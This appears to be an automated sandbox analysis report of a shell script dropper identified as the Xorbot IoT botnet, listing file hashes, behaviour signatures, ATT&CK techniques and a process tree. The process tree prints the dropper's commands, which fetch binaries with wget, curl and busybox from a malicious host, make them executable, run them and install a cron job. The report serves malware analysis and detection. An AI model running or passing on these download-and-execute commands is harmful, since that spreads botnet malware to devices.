Analysis
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max time kernel
149s -
max time network
151s -
platform
debian-9_armhf -
resource
debian9-armhf-20240729-en -
resource tags
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submitted
28/02/2025, 11:57
General
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Target
bins.sh
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Size
10KB
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MD5
1c04224c31369b92267e0f914de6faa7
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SHA1
a83724c5b8610fae0d070df43be47b501af8c44b
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SHA256
27e10f92af7087a71e53ea4397ca1048fae7141974622a595a9fc358c187cd8f
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SHA512
f84f0a3d4f25e30aa0b396a8212e44194c1787f5af184c2a20ded76d3b1dc36e52a38c1c8c16ea6d5263807375dbc8fdfc92de6b4f116b68f16650655288b542
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SSDEEP
96:YjvjDjZLwsIL8AjnqinuOCaELKCsHA82U99vLv+vuvBGjm9gcSLwsFQMuBSBqBqs:S4H7qAKosvdGrDIF4
Malware Config
Signatures
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Detects Xorbot 1 IoCs
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Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
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Xorbot family
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Contacts a large (1461) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
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Executes dropped EXE 1 IoCs
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Renames itself 1 IoCs
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Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
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Enumerates running processes
Discovers information about currently running processes on the system
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Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
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Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
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System Network Configuration Discovery 1 TTPs 4 IoCs
Adversaries may gather information about the network configuration of a system.
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Writes file to tmp directory 2 IoCs
Malware often drops required files in the /tmp directory.
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵
- Executes dropped EXE
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/bin/rm/bin/rm bins.sh2⤵
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
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/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx2⤵
- Checks CPU configuration
- System Network Configuration Discovery
- Writes file to tmp directory
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/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx2⤵
- System Network Configuration Discovery
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/bin/chmodchmod 777 6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx2⤵
- File and Directory Permissions Modification
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/tmp/6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx./6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx2⤵
- Renames itself
- Reads runtime system information
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/bin/shsh -c "crontab -l"3⤵
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/usr/bin/crontabcrontab -l4⤵
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/bin/shsh -c "crontab -"3⤵
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
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/bin/rmrm 6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx2⤵
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq2⤵
- System Network Configuration Discovery
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Network
MITRE ATT&CK Enterprise v15
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
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Downloads
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Filesize
119KB
MD51b166b95f9cb4b079ef1b9ec8363ddf3
SHA10d8eb08add467b3b5474f9b25909297fe7c2839c
SHA25694a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
SHA512983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925
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Filesize
210B
MD57b98ab537f6f845edfbc8620f2fc5d7d
SHA124813d7bc40bb0b5e462c3deb0a7a63859b5b7e0
SHA256d772d12593450198d104683ce374a3a7130fc147071a9b7e950f61265d0a4a2f
SHA512b9ef53b1061fe7d69fba4bb8af60a1de25a5c48bd321dfa555bff04246f4375ac723f51c97b9ae516400d00fae4ab729845b7d22bf6143926aa3efa222212ec5